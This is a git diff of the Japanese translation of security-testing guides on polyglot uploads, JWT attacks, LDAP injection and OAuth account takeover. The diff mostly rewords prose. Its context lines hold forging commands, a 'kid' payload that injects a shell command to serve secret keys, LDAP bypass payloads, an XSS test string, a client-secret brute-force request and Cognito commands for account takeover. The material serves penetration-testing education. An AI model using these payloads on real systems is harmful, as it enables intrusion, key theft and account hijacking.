-適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。 +適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。 詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) @@ -313,5 +314,4 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 847c166e2..579c8998e 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -31,20 +31,20 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s JWTの署名が検証されているかどうかを確認するには: -- エラーメッセージが検証中を示唆している場合、詳細なエラーに含まれる機密情報を確認する必要があります。 +- エラーメッセージは継続的な検証を示唆します。詳細なエラーに含まれる機密情報は確認する必要があります。 - 返されたページの変更も検証を示します。 -- 変更がない場合は検証が行われていないことを示唆しており、この時にペイロードの主張を改ざんする実験を行うべきです。 +- 変更がない場合は検証が行われていないことを示します。この場合、ペイロードの主張を改ざんする実験を行うべきです。 ### 起源 -トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べることで判断することが重要です。 +トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べて判断することが重要です。 - クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。 - サーバー側から発生したトークンは、安全なプロセスを示します。 ### 期間 -トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているかどうかを確認してください。 +トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているか確認してください。 ### HMAC秘密鍵のブルートフォース @@ -63,7 +63,7 @@ Burp拡張機能「JSON Web Token」を使用して、この脆弱性を試し アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。 -次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます: +次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます。 ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -75,15 +75,15 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\ (リクエストをリピーターに送信し、JSON Web Tokenタブ内で「CVE-2018-0114」を選択してリクエストを送信します)。 -### JWKSスプーフィング +### JWKS スプーフィング この手順は、特に「jku」ヘッダー主張を使用するJWTトークンのセキュリティを評価する方法を詳述しています。この主張は、トークンの検証に必要な公開鍵を含むJWKS(JSON Web Key Set)ファイルへのリンクであるべきです。 - **「jku」ヘッダーを持つトークンの評価**: - 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。 -- トークンの「jku」値を変更して、制御されたウェブサービスに向け、トラフィックを観察できるようにします。 +- トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。 - **HTTPインタラクションの監視**: -- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることが示されます。 +- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。 - このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。 - **`jwt_tool`のコマンド**: @@ -103,7 +103,7 @@ python3 jwt_tool.py JWT_HERE -X s #### 「kid」を使用したパス横断 -`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`jwt_tool`の`-T`フラグを使用して実現できます。 +`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して達成できます。 ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` @@ -119,7 +119,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### "kid"を介したOSインジェクション -`kid`パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオは、リモートコード実行(RCE)脆弱性につながる可能性があります。`kid`パラメータにコマンドを注入することで、秘密鍵を露出させることが可能です。RCEと鍵の露出を達成するための例のペイロードは次のとおりです: +`kid`パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオは、リモートコード実行(RCE)脆弱性につながる可能性があります。`kid`パラメータにコマンドを注入することで、プライベートキーを露出させることが可能です。RCEとキー露出を達成するための例のペイロードは次のとおりです: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -128,9 +128,9 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### jku jkuは**JWK Set URL**を表します。\ -トークンが“**jku**”**ヘッダー**クレームを使用している場合は、**提供されたURLを確認してください**。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるWebサービスにポイントさせます。 +トークンが“**jku**”**ヘッダー**クレームを使用している場合は、**提供されたURLを確認してください**。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるウェブサービスにポイントさせます。 -まず、新しいプライベートおよびパブリックキーを持つ新しい証明書を作成する必要があります。 +まず、新しいプライベートおよび公開鍵を持つ新しい証明書を作成する必要があります。 ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -207,22 +207,24 @@ const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` -最終的に、公開鍵と秘密鍵、そして新しい「n」と「e」の値を使用して、[jwt.io](https://jwt.io)を使って任意の情報を持つ新しい有効なJWTを作成できます。 +最終的に、公開鍵と秘密鍵、そして新しい「n」と「e」値を使用して、[jwt.io](https://jwt.io)を使って任意の情報を持つ新しい有効なJWTを作成できます。 ### ES256: 同じノンスで秘密鍵を明らかにする いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。 -ここに例があります: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1を使用)](https://asecuritysite.com/encryption/ecd5) +以下は例です: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) -JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンが再生されるのを防ぐために使用できます。\ +JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\ しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります)。 ### JWT登録クレーム -{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} +{{#ref}} +https://www.iana.org/assignments/jwt/jwt.xhtml#claims +{{#endref}} ### その他の攻撃 @@ -230,17 +232,18 @@ JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供し いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。 -- あなたのトークンが受け入れられることは重大な問題を示す可能性があり、任意のユーザーのアカウントを偽装することを可能にするかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。 +- あなたのトークンが受け入れられることは重大な問題を示す可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。 **トークンの有効期限チェック** -トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーを偽装できる可能性があります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、トークンを保存し、有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限チェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 +トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、トークンを保存し、有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 -- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在するかもしれません。 +- アプリケーションがトークンをまだ検証している場合、セキュリティリスクが存在する可能性があります。これは、トークンが決して期限切れにならないことを示唆する可能性があります。 ### ツール -{% embed url="https://github.com/ticarpi/jwt_tool" %} - +{{#ref}} +https://github.com/ticarpi/jwt_tool +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 9936ebbbc..f2691ddc8 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,10 +1,10 @@ -# LDAP Injection +# LDAPインジェクション -## LDAP Injection +## LDAPインジェクション {{#include ../banners/hacktricks-training.md}} -## LDAP Injection +## LDAPインジェクション ### **LDAP** @@ -14,25 +14,25 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 +**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} -**Filter** = ( filtercomp )\ -**Filtercomp** = and / or / not / item\ +**フィルター** = ( filtercomp )\ +**フィルターコンポーネント** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ -**Filterlist** = 1\*filter\ -**Item**= simple / present / substring\ -**Simple** = attr filtertype assertionvalue\ -**Filtertype** = _'=' / '\~=' / '>=' / '<='_\ -**Present** = attr = \*\ -**Substring** = attr ”=” \[initial] \* \[final]\ -**Initial** = assertionvalue\ -**Final** = assertionvalue\ -&#xNAN;**(&)** = Absolute TRUE\ -&#xNAN;**(|)** = Absolute FALSE +**フィルターリスト** = 1\*filter\ +**アイテム**= simple / present / substring\ +**シンプル** = attr filtertype assertionvalue\ +**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\ +**プレゼント** = attr = \*\ +**サブストリング** = attr ”=” \[initial] \* \[final]\ +**初期** = assertionvalue\ +**最終** = assertionvalue\ +&#xNAN;**(&)** = 絶対TRUE\ +&#xNAN;**(|)** = 絶対FALSE 例えば:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ @@ -54,9 +54,9 @@ 次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。 -### Login Bypass +### ログインバイパス -LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。 +LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、それがハッシュ化される可能性があります。 ```bash user=* password=* @@ -148,7 +148,7 @@ ascii文字、数字、記号を繰り返し処理できます: #### **有効なLDAPフィールドを発見する** -LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます。**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。[**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)で見つけることができます。 +LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます。**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)で見つけることができます。 ```python #!/usr/bin/python3 import requests @@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php ``` ### さらなるペイロード -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} - +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 700e5833f..7dfe1e74c 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -2,35 +2,35 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -OAuthはさまざまなバージョンを提供しており、基本的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。 +OAuthはさまざまなバージョンを提供しており、基礎的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。 -仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。 +仮想のウェブサイト_**https://example.com**_を考えてみましょう。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するために、OAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。 OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です: -- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。 +- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを許可します。 - **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。 - **client application**: `resource owner`からの認可を求める**アプリケーション**、例:**https://example.com**。 - **authorization server**: `resource owner`の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。 -- **client_id**: アプリケーションの公開されている一意の識別子。 -- **client_secret:** アプリケーションと認可サーバーのみが知っている機密鍵で、`access_tokens`を生成するために使用されます。 +- **client_id**: アプリケーションのための公開の一意の識別子。 +- **client_secret:** アプリケーションと認可サーバーのみに知られる機密鍵で、`access_tokens`を生成するために使用されます。 - **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`。 - **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。 -- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。 -- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを維持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。 +- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。これは通常、事前に登録されたリダイレクトURLと一致する必要があります。 +- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを保持するためのパラメータ**。その一意性は**CSRF保護メカニズム**として機能するために重要です。 - **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。 - **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`および`client_secret`と共に使用します。 -- **access_token**: **リソースオーナーの代わりにAPIリクエストに使用されるトークン**。 +- **access_token**: `resource owner`の代わりにAPIリクエストに使用される**トークン**。 - **refresh_token**: アプリケーションが**ユーザーに再度プロンプトを表示することなく新しい`access_token`を取得する**ことを可能にします。 -### Flow +### フロー **実際のOAuthフロー**は次のように進行します: 1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。 -2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます: +2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comのアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます: ``` https://socialmedia.com/auth ?response_type=code @@ -50,23 +50,23 @@ POST /oauth/access_token Host: socialmedia.com ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"} ``` -6. 最後に、プロセスは https://example.com があなたの `access_token` を使用してソーシャルメディアにAPIコールを行い、アクセスすることで終了します。 +6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。 ## 脆弱性 ### オープンリダイレクト_uri -`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。 +`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。 -悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。 +悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。 -`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。 +`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。 -OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。 +OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。 -### リダイレクト実装におけるXSS +### リダイレクト実装における XSS -このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード: +このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される** 可能性があり、ユーザーが認証した後に **XSS に対して脆弱** である可能性があります。テストするための可能なペイロード: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` @@ -76,7 +76,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略 攻撃者は、認可プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。 -この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響を強調しています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。 +この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響が強調されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。 **`state`パラメータ**の適切な取り扱いと検証は、CSRFから保護し、OAuthフローを安全に保つために重要です。 @@ -93,7 +93,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略 ### クライアントシークレットブルートフォース -サービスプロバイダーのクライアントシークレットをブルートフォースで試みて、アカウントを盗むことができます。\ +サービスプロバイダーのアイデンティティプロバイダーに対して**client_secretをブルートフォース**し、アカウントを盗む試みを行うことができます。\ ブルートフォースのリクエストは次のようになる可能性があります: ``` POST /token HTTP/1.1 @@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ``` ### Referer Header leaking Code + State -クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダーに反映されている**と、脆弱です。 +クライアントが**コードとステート**を持っている場合、それが**Refererヘッダー内に反映されている**と、脆弱性があります。 ### Access Token Stored in Browser History @@ -114,7 +114,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ### Everlasting Authorization Code -**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、しばらくの間だけ存在するべきです**。 +**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、一定の時間だけ存在するべきです**。 ### Authorization/Refresh Token not bound to client @@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ### AWS Cognito -このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**は、**ユーザーデータを上書きするのに十分な権限を持っている可能性があります**。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。 +このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。 ```bash # Read info of the user aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] @@ -145,78 +145,79 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ ``` For more detailed info about how to abuse AWS cognito check: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum +{{#endref}} -### Abusing other Apps tokens +### 他のアプリのトークンを悪用する -[**この書き込みで述べられているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。 +[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。 -これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。 +これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のアプリケーションに与えられたユーザーのOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。 > [!CAUTION] -> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。 +> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得させることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。 -### Two links & cookie +### 2つのリンクとクッキー [**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー(RU)**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。 